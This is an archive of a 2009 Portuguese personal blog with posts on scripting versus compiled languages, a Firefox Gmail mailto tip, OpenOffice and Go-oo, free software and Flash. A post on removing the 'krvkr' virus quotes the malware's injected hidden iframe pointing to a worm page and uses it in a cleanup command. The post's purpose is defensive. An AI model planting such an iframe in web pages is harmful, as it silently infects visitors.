OO que me perdoe, mas se tu quer desenvolver em OO puro, por favor use Smaltak. Tipologia de variáveis existem, não por acaso. Estão aí para garantir que o código será escrito sem erros. A maioria esmagadora dos scripts não exigem definição de tipos, e ai começa a encrenca:

1
2
3
4
5
6
   havePermission = "false";
 
   if(havePermission)
   {
        (...)//libera permissão
   }

O exemplo acima é apenas “um exemplo”. Existem outros, mas é apenas para demonstrar como podem ocorrer falhas de codificação esperando que o conteúdo seja um tipo e na realidade é outro.
A exigência de tipos causa um erro de compilação*, avisando ao programador que ele cometeu um engano, ou ele usou a variável errada ou esperou que a variável contivesse um tipo de valor (boleano no exemplo) e na realidade tem outro. Este tipo de coisa salva o programador de erros no futuro, e como tudo que pode ser deixado para depois, este erro pode causar desastres lá adiante.

*dependendo do editor, até um erro de edição. Porém como não podemos contar com o editor, o compilador segura as pontas.

Olha como sou bom programador, tudo que faço compila!

Não irei citar aqui todos os casos, mas é fácil notar que linguagens scripts têm o intuito de acelerar a produção do código, nem que deixe passar alguns erros que estourem lá adiante. Esta aí algo que não curto, pois é o efeito borboleta passando propositalmente debaixo do nariz do programador. O erro vai passando pra ser resolvido depois, mas o depois não se sabe quem irá receber a bomba, talvez não seja você, ou talvez você não se lembre mais do que programou há um ano atrás. E aí você se mata em procurar o erro que poderia ter sido evitado já em tempo de compilação, ocasionando maior gasto para a empresa e para o programador.
Teve um sujeito que chegou para mim e disse “poxa você deveria fazer o site do Taulukko em Ruby, teria ficado bem melhor”. É como o líder do L2J falou uma vez que alguém disse o mesmo para ele a respeito de não ter feito a engine em C++ pela velocidade, “existe algum projeto em C++ para emular L2 que vingou ? Não né?” Mesma coisa. Meu servidor nem tem suporte a Ruby, eu não tenho conhecimento profundo na linguagem Ruby como tenho em Java, tenho centenas de bibliotecas e códigos prontos em Java, e o cara me fala que teria sido melhor se eu tivesse feito em Ruby? São pensamentos pequenos como estes que me fizeram criar este post. Eu não chego e falo que o Twitter teria menos baleias se fosse feito em Java, falo? Pronto falei!

Apesar disso respeito muito Ruby pois dentre as linguagens scripts é na minha opinião a mais fácil de achar erros e corrigir problemas. Mas também não trabalhei nela a fundo para poder levantar seus defuntos, mas conheço alguns dos seus defeitos, como no exemplo abaixo que é o slogan do site do Ruby:

1
2
3
4
5
6
7
8
9
10
11
cidades  = %w[ Londres
              Oslo
              Paris
              Amsterdão
              Berlim ]
visitadas = %w[Berlim Oslo]
 
puts "Ainda me falta " +
     "visitar " +
     "as cidades:",
     cidades - visitadas

Onde você tem duas listas subtraindo uma da outra. Então você acredita que vai dar um erro? Errado, se você acha que vai dar a diferença de quantidade das duas listas? Errado de novo, ela exibe os nomes das cidades não visitadas, separadas com quê? Pois é… Se fosse uma linguagem menos preocupada com o desenvolvedor e mais com a consistência seria algo como:

1
2
3
4
5
6
7
String cidades []   = { "Londres", "Oslo", "Paris", "Amsterdão", "Berlim" };
String visitadas [] = {"Berlim", "Oslo"};
 
pront( "Ainda me falta " +
     "visitar " +
     "as cidades:",
     EString.join(cidades.remove(visitadas),",") );

Onde o remove fica óbvio que está removendo os elementos da lista visitadas, e o join deixa óbvio que está transformando a lista num objeto string só separado por vírgula.

Leeento

Eu acho que reclamar de lentidão é a coisa mais baixa que um programador pode fazer ao reclamar de alguma linguagem. Desde a criação do PC os processadores não param de acelerar a cpu, então o que é lento hoje não é amanhã. E se for, otimizações na engine tornam os códigos mais rápidos. O Java quando nasceu era dezenas e dezenas de vezes mais lento do que o C++, hoje ele chega a ser mais rápido que o C++ em programas que ficam muito tempo na memória, pois as otimizações possíveis em Java superam a velocidade do código já compilado em C++.
Mas é um fato. A princípio, toda linguagem script é lenta. Mas eu não deixaria de usar uma delas por conta disto a não ser que fosse algo muito pesado que seria rodado.

Então jogo fora meus códigos em script?

Pera lá! Não estou dizendo que são inúteis, acho a linguagem do Visual Basic 6 e Delphi porcas mas até eles têm sua vez. Cada caso é um caso. O PHP pela simplicidade de teste, e de desenvolvimento. Além da facilidade de montar servidores WEB, perto do Java, se tornou uma linguagem ótima para sites. Como exige pouco conhecimento de programação, programadores mesmo amadores dão suporte a complexos códigos. E comunidades bem estruturadas deixam a parte grossa do trabalho (a criação das engines que exigem mais cabeça e poderiam gerar erros mais difíceis de arrumar e contornar) para programadores mais antigos e treinados. Fazer um projeto Open Source em Java para web não é uma boa escolha. PHP mata a pau!

Mesma coisa para alguns scripts simples e básicos, onde se deseja permitir que programadores iniciantes dêem suporte. Estes podem ser feitos em linguagens como Python, PHP, Jscript e outros.

Agora, basear um projeto pago numa linguagem assim, acho uma medida errada. A menos que o foco do projeto seja criá-lo e depois não expandí-lo, deixando apenas que ocorra suportes pontuais. Aí necessitaria de mão de obra menos especializada e PHP por exemplo volta a ser uma boa escolha.

E as linguagens compiladas são perfeitas?

Claro que não. Mas elas geralmente priorizam a coerência do que facilitar a vida dos desenvolvedores.
C++ é extremamente complicada de desenvolver, mas tem diversos frameworks para te ajudar a não sofrer com ponteiros, manipulação de memória etc. Mas até você montar o ambiente…
C# é perfeita, e na minha opinião a melhor linguagem exceto por um ou outro detalhe. Mas o que queima o filme é que a melhor ferramenta para desenvolver em C# é da M$ (Visual Studio .Net) , e é anos luz mais atrasada do que outras similares para outras linguagens. Fora isto, tirando o Windows não existe nenhum OS que tem uma VM que rode o C# redondo, aliás, nem a VM da MS roda o .Net de forma redonda (e eu sei bem pois trabalho com isso há 5 anos).
Java é antigo, velho. Tem diversos conceitos que na época não existiram e foi costurado com o tempo, tornando a linguagem um mundo de remendos. Mas é onde tenho a maior parte das bibliotecas e ele funciona praticamente igual em qualquer OS. Além é claro que tem o Eclipse para ajudar (e muito).
VB 6, até hoje uso para pequenos programas visuais. Ele é de desenvolvimento rápido mas ele é um pouco a lá script. Também não tem necessidade de declarar variáveis mas resolvo isso colocando na ide para forçar a declaração. De qualquer jeito, só recomendo se for um programa muito pequeno, nada de projetos grandes. Ou então, para dlls COM+ para projetos WEB usando ASP (alias ASP é outra tranqueira).
Como vê, apesar de preferir o C# em matéria de conceito, prefiro programar em Java exceto quando preciso fazer algo visual extremamente pequeno para plataformas Win ai uso VB. Também uso muitos scripts quando é em páginas WEB, para subir ou executar pequenos programas em unix, ou até para alterar programas que usam scripts lua, python, pearl etc. Não tenho motivos para preferir uma linguagem e puxar sardinha de nenhuma delas, mas não me verá criando um projeto do zero em PHP ou Python a menos que o cliente assim exija (e olha que fiz esta merda uma vez para ver se perdia a birra com linguagens scripts e me fudi muito).

Conclusão:

Eu acredito que as linguagens de scripts têm seus lugares bem definidos: scripts. Poderão tomar o lugar de linguagens sólidas como C, C++, C#, Java, VB, Delphy etc apenas quando o gasto de desenvolvimento (empurrado com a barriga para depois) for melhor controlado e contabilizado para que empresas sérias desenvolvam seus projetos sabendo o real custo dele. A partir daí, os demais problemas devem ser resolvidos gradativamente, até lá as linguagens compiladas sempre serão melhor aceitas em projetos grandes.

Scripts são voltados para ajudar o desenvolvedor e não a coerência, e na minha opinião DEVERIAM manterem esta filosofia. Pois scripts hoje são linguagens ótimas para ambientes onde se precisa de pessoas com pouca ou nenhuma experiência em programação para dar suporte, afinal ela é de fácil aprendizado e geralmente pouco exigente. No caso do PHP, é também uma linguagem boa para Opensource visto a facilidade de se achar servidores com suporte PHP e a facilidade de instalar aplicativos PHP em servidores apache (tente fazer o mesmo com #C ou com java para ver que trampo que dá).

Mas pare por aí. Dizer que o mundo move melhor com Python, Ruby ou PHP. Ou dizer que são linguagens praticamente perfeitas? Perfeitas para quem cara-pálida?

Então se você programa em linguagem script por favor, utilize o tempo que sobrou do seu projeto para tentar procurar os erros que o compilador deixou passar, em vez de usar para tentar convencer os demais programadores a trabalharem com a sua linguagem querida.


Como abrir o GMail direto no Firefox 3
21 agosto 2009, por Edson, às 19:51

gmailVocê apenas utiliza o gmail e quer lincar os emails diretamente no seu firefox???
Seus problemas a-c-a-b-a-r-a-m … ou não hehe.

Se pelo menos seu Fx for idêntico ao meu, vai funcionar =D

Bom, não custa tentar, não é?

Alterando o inalterável

Digite na barra de endereços about:config e entre na pǵina.
E apesar do aviso, clique que sim, você será cuidadoso ao alterar os dados abaixo, procure e altere para:
allowRegisterFromDifferentHost para true
network.protocol-handler.external.mailto para true

Adicionando o GMail

Abra uma nova aba e cole em sua barra de endereços:

1
javascript:window.navigator.registerProtocolHandler("mailto","https://mail.google.com/mail/?extsrc=mailto&url=%s","GMail")

Vai aparecer no canto superior direito a opção de incluir o Gmail, dê aceite.

Google Apps

Se você usa o Google Apps use:

1
javascript:window.navigator.registerProtocolHandler("mailto","https://mail.google.com/a/example.com/mail/?extsrc=mailto&url=%s","GMail")

Testando:

Clique no meu email (mas não precisa mandar email agradecendo ou xingando não ^^) gandbranco@gmail.com e quando aparecer a janela perguntando qual programa usar, selecione o GMail e marque para lembrar desta opção.

Desinstalando:

Editar/Preferências/Programas/mailto/
e altere para o programa que você desejar.


Como remover o vírus krvkr de seu Windows!
5 agosto 2009, por Edson, às 20:17

O vírus krvkr é um vírus que adiciona em arquivos web o seguinte texto :

1
<iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe>

Isto faz com que todas as páginas web de seu computador abra uma cópia do vírus, e caso você dissemine estes arquivos o vírus vai junto.

“Ah! Meu avast pega ele!”

Vai nessa meu irmão, a maioria dos anti-virús (por pura incompetência) remove o vírus e APAGA os arquivos infectados. Quando restaurar os arquivos é demasiadamente fácil. Imagina se você desenvolve aplicativos WEB e o seu av remove todos os arquivos de seu cliente?

Removendo o vírus


1- Inicie o windows no modo de segurança (pressione F8 no start para forçar a tela de opções).
2- Através do msconfig (pode acionar ele pelo Menu Iniciar => Rodar aplicações) Cancele todas as entradas para iniciar o programa nvscv32.exe e spoclsv.exe
3- Apague manualmente todas as cópias de spoclsv.exe e nvscv32.exe
4- Menu iniciar => Rodar Aplicações -> regedit -> Navegue até [HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \] e tente apagar os trojans que estiverem ai.

Restaurando os arquivos danificados


Pra remover esta praga de seus arquivos, sem ter que apagá-los eu recomendo o programa abaixo que eu criei em Java.

1- Instale a última versão do Java
2- Baixe a biblioteca evon 1.0
3- Via linha de comando, no diretório da biblioteca rode o programa em Java com o comando:

1
java -Xmx512m -cp evon.jar  br.com.evon.tools.DirectoryReplaceText "meu_diretorio_contaminado"   "<iframe src=http://www.krvkr.com/worm.htm width=\"0\" height=\"0\"></iframe>" ""  "html,htm,php,jsp,asp,aspx" /D

Ou apenas use o arquivo bat dentro de cleanup.zip.
OBSERVAÇÃO: Passe como parâmetro o caminho da pasta a ser examinada ou edite o arquivo bat trocando %1 pelo caminho completo do diretório que deve iniciar a varredura. Acredito que se o caminho tiver espaços talvez seja necessário botar entre aspas o parâmetro, se alguém puder confirmar para mim eu agradeço.

Linux:


Se você utiliza Linux você apenas pegará o vírus se recebeu arquivos WEB de alguém, neste caso pode seguir apenas os passos de remoção mas no lugar do arquivo cleanup.bat use o arquivo cleanup.sh (habilite ele para ser executado como programas na aba de permissões do arquivo).

Sobre o programa DirectoryReplaceText

Para os curiosos e quiserem usar o programa DirectoryReplaceText para outros fins, a sintaxe de uso dele é:

1
2
3
4
5
6
7
8
java br.com.evon.tools.DirectoryReplaceText path find replace filter [/S || /D] 
/*ONDE:
path    Especifica o caminho a iniciar a busca do diretório a sere corrigido, ele buscará recursivamente nos subdiretórios abaixo dele
find    Texto procurado. No nosso caso coloquei o iframe do vírus.
replace Texto substituto. No nosso caso eu coloquei "" (vazio)
filter Tipos de arquivos a serem buscados por extensões. * para todos ou extensões separadas por vírgula. No nosso caso coloquei os arquivos web que uso, mas vocês podem adicionar outros.
/S   Modo show. Exibe o nome do arquivo quando modificado. Se desmarcar ele, nada será exibido até o término da varredura.
/D   Modo demo. Apenas exibe o arquivo a ser modificado mas não faz nada.*/

Conclusão:


Seguindo estes passos você deve não somente ficar livre do vírus como reaver de volta todos os arquivos danificados =)
Caso alguém tenha alguma dica, crítica ou sugestão poste ai um comentário ^^


Go-oo Versus Open Office
19 junho 2009, por Edson, às 19:46

goooApós sugestão do meu amigo Kenzo no post Open Office, Softwares Abertos (Open) e Livres eu resolvi testar o go-oo (o nome significa algo como “vai open office). Criado por desenvolvedores que não estavam contentes com a lerdeza do projeto do OO. Bom como deixei claro no meu texto acima eu pessoalmente até achei rápido a velocidade, mas muitos que lidam com coisas mais baixo nível das ferramentas de escritório reclamavam. Então…

Introdução:

O gooo é um fork recente do OO. Então por este motivo sejam pacientes com algumas das críticas pois elas somente demonstram que o projeto ainda é novo e imaturo, mas se bem coordenado tende a melhorar (e muito).

Site:

Bem menos amigável, ainda não tem uma versão em português. Isso deve dificultar muito a vida de usuários mais leigos.

Instalação:

A instalação do gooo é seu maior calcanhar de Aquiles.

install

Não existe instalação em português, assim como para ter o gooo em português é necessário instalar ele e depois um patch. A instalação toda chama o produto de Open Office e não de Go-oo o que pode dar muita confusão na cabeça do usuário. Temendo algum problema, até preferi desinstalar o oo antes de testar o gooo. Após a instalação do gooo eu instalei o patch para português e da mesma forma do install do gooo o patch tinha informações apontando ainda para o oo.

Menu Iniciar:

Os atalhos continuam apontando para oo, o que nesse caso já não chega a ser um problema. Pois depois de instalar o usuário já deve ter percebido que se trata do mesmo produto (pior que não é, mas enfim, ao menos ele não vai se confundir no menu).

Aplicativo:

Eu testei e abri os mesmos documentos abertos antes com o oo e não senti diferença nenhuma. Mas como disse os usuários que usam a ferramenta mais freqüentemente podem sentir alguma melhora, nesta página relata algumas mudanças do gooo para o oo.

Conclusão:

Eu acredito que o gooo ainda tem telhado de vidro por enquanto e não é bom eles ficarem se desfazendo da performance do oo ainda. No site da gooo eles se esforçam a mostrar o quanto o software deles é melhor que o oo e não vejo isto com bons olhos uma vez que eles usaram todo o código fonte do oo para iniciar seu próprio projeto.
Por outro lado é nítido a empolgação do time do gooo e as melhorias feitas, espero que isto venha servir ao bem ao longo do tempo. Aparentemente o sistema para desenvolver e códigos que estão sendo gerados para o gooo são melhores do que o do oo, fazendo a comunidade adotá-lo com carinho. Se continuar assim eu não vejo motivos para o oo continuar, provavelmente irá morrer algum dia e o gooo herdará usuários e desenvolvedores do oo.


Open Office, Softwares Abertos (Open) e Livres
17 junho 2009, por Edson, às 13:21

aberdeen-liquid_logo Não vim aqui para defender softwares livres e open, apesar de eu apoiar de longe a causa. Digo de longe porque não consegui ainda trocar o Linux no desktop pois ele ainda tem poucos drivers feitos pelas fabricantes, e quando dá pau no Linux para resolver eu não entendo nem de longe (no windows pode estragar do jeito que for que recupero todos os arquivos e reinstalo sem preocupação).

Mas, recentemente pifou meu windows e sinceramente fiquei bem em dúvida. Fiquei pois quase cheguei a conclusão que se eu colocasse o Linux eu aprenderia o que falta, e os programas que eu uso a maioria tem em Linux, as vezes em versões melhores. Então entrei em um momento de reflexão.

Há 15 anos atrás eu tentei utilizar o Linux Conectiva 1 e não passei da tela de instalação, ele encrencou com algum hardware e travou. Alguns anos depois, acredito que uns 4 ou 5 anos eu comprei e tentei usar o Conectiva 9. De fato a instalação era bem melhor, mas apesar de conseguir instalar eu não consegui sequer instalar placa de vídeo.

Naquela época eu usava Windows como OS, Office Microsoft como ferramentas de escritório, MS Paint para edições curtas de imagem, Outlook para Email, Visual Estúdio para Programar, SQL Server como banco de dados, Photoshop/Corel para edições de imagens mais complexas, Internet Explorer 4-6 para navegar, Midia Player para ver filmes e musicas, MSN para conversar como principais programas, alguém ai não notou a semelhança entre eles? Todos pagos.

Agora, 10, 15 anos depois eu utilizo o Windows e Linux (em servidores) para OS, Open Office para ferramentas de escritório, Paint.Net para edições curtas e longas em imagens, Email Thunderbird, Eclipse para desenvolver, MySQL como banco de dados com SQLYog como visualizador, Firefox para navegar, Mídia Player Classic para ver Filmes e músicas e aMSN para conversar. Tirando o Windows na ponta da lista, o resto é tudo livre ou no mínimo open source e com licença de graça. O último que aderi foi o Open Office (OO).

Eu já tinha tentado usar o OO há 5 anos atrás mas me arrependi de tentar. Ele sequer abria direito textos e Clique para ver os formatos suportados para abrirplanilhas básicas. Hoje em dia ele abre tudo, e quando digo tudo é tudo mesmo. A lista de documentos que ele abre ou salva (salvar como) é enumeras vezes mais extensas que o Office da MS.

Ai comecei a refletir do porque desta mudança? Porque softwares open e livres estão chegando a ficar melhores do que os pagos e porque os pagos não estão evoluindo no mesmo rítimo?

É nítido como software livres estão tomando uma força descomunal e só fecha os olhos os que são xiitas de alguma empresa (MS, IBM, Oracle, …)

Eu acredito que por muito tempo o software pago ganhou muita grana até que em um dado momento os usuários (muitos desenvolvedores, desginers, analistas) perceberam que se abrissem uma comunidade para fazer o software a união de vários deles faria um software melhor a longo prazo do que o pago. Claro que isso exigiria um esforço absurdo de uma minoria de usuários e os demais tirariam proveito. Mas alguns usuários autruistas abraçaram a causa.

Porém tem dado certo porque enquanto uma comunidade desenvolve um aplicativo, outra desenvolve outro, e outra outro. De modo que o desenvolvedor que pagaria com 600h anuais de trabalho para ter todos os softwares que ele queria, agora ele trabalha em comunidades 100h por ano e obtem todos os aplicativos de graça. E quem nem é desenvolvedor, ou não quer ajudar também ganha. Isto se tornou tão verdade que passou a ter concorrências entre os softwares livres, Opera Vs Firefox, Guimp Vs Paint .Net, Linux Debian Vs Linux Ubuntu Vs Linux …

Porém se de um lado o software livre e open cresceu, quem diminuiu? Os pagos. Os softwares pagos não tem mais a grana que tinham há 10 anos atrás para desenvolver seus aplicativos. Pior, agora muitos deles como o Internet Explorer (que é de “graça” mas você precisa comprar a licensa do SO pois até onde sei não tem IE para todos os SO) corre atrás dos navegadores free para não ficar para trás. O IE mais novo ( IE8) só agora passou no Acid Test 2 (que mede qualidade do navegador de acordo com padrões WEB), enquanto seus rivais já atingem mais de 50% (alguns até 100%) no teste do Acid Teste 3 há mais de 2 anos.

Outro fator do impulso do Software Livre foi a experiência adquirida e aprimorada nessas 2 décadas com softwares comunitários. Muitos aplicativos livres hoje em dia tem conselhos e divisões dignos de uma corporação e a coisa fica tão organizada que chega a dar inveja na maioria dos aplicativos pagos. Do atendimento a descobertas e correções de bugs.

Conclusão:

Acredito que se o uso de aplicativos free e open estão aumentado e os pagos diminuindo, não teremos mudanças futuras diferentes nessa aceleração e queda. Acredito que vai chegar num equilibro onde a maioria dos aplicativos são livres ou de graça e o ganho será sempre com maneiras indiretas como o Google descobriu há muito tempo atrás. Fazendo as empresas, todas elas, mudarem de postura. Pois ou você desenvolve comunitáriamente ou então nasce um concorrente free que te quebra.


Como fazer uma nuvem de TAGs em seu próprio programa!
15 maio 2009, por Edson, às 15:12
Nuvem de Tags criada por mim no sistema setado (precisa estar logado para ver a nuvem)

Nuvem de Tags criada por mim no sistema setado

Não, não irei falar de um plugin, irei falar de como fazer uma nuvem de TAGs em seu programa mesmo! E na UNHA!

Digamos que você desenvolveu um software e tenha cadastro de itens com tags ou categorias e você desejaria colocar tudo no formato de nuvem de tags, como fazer? Abaixo vai um tutorial com 7 passos que pode ser aplicado em qualquer linguagem de java a php, o que voce preferir!
Continua »


Flashless
20 março 2009, por Edson, às 8:46

flash
É natural de quem desenvolve apenas em flash achar que flash é solução para tudo, mas não é. O flash torna pesado algumas coisas que poderiam ser mais leves, fazer o site todo em flash então obriga o usuário carregar tudo antes de fazer qualquer ação. É um bom senso deixar o usuário selecionar, via configurações do navegador, se ele quer ver sons, imagens etc antes dos links (que geralmente é o que lhe interessa) e o flash retira isso.

Retira também a possibilidade do usuário selecionar um texto, ver o código fonte, abrir links em nova aba (com botão do meio ou via menu). Ou seja, torna a vida do usuário leigo mais difícil do que já é.

Para piorar os sites programados em flash é uma facada nas costas de quem precisa portabilidade ou acessibilidade.

Por portabilidade me refiro a programas que acessem a página em busca de informações como por exemplo robôs. Eles não poderão “ler” o flash como fazem com o html e acharão a página pobre.

Por acessibilidade me refiro a pessoas com deficiências visuais.

E os navegadores estão caminhando para tecnologias onde cada vez mais eles renderizam com qualidade sem a necessidade de programas (leia-se plugins) externos. Na minha opinião falta softwares para trabalhar melhor com isso, e falta uma boa API pra lidar com sons e vídeos diretamente no navegador usando javascript.

Mas deixarmos para o flash aquilo que não é viável (ou possível) fazer via DHTML já é uma “boa andada” no que se refere em boa prática. Um exemplo disso foi o Taulukko onde o sistema de som feito em jscript (usando scriptaculous) carregava o som com algumas falhas e delays. O sistema foi trocado por um flash (desenvolvido pelo meu irmão oriental Kenzo), consideravelmente pequeno e que resolveu o problema com maestria. O resto? Todo feito usando DHTML e Ajax.

Mas existem pessoas que vão mais além, conseguem portar para jscript animações e efeitos que por um bom tempo não se poderia imaginar ser possível sem a ajuda de um flash, segue abaixo algumas destas experiências que fiquei sabendo pelo fórum do iMaster:

- Menu Teletype
- ImageBox
- Galeria 3D
- Galeria Virtual 3D
- Galeria 3D
- ImagePress
- ZoomGallery
- Galeria 3D
- Navegação 3D
- Galeria
- Book
- Galeria Paineis
- Galeria Infinty
- Galeria Horizontal
- Dock Menu
- Galeria
- Zoom
- Menu
- SlideShow
- Animação Curling


« Posts do tipo "versão estável"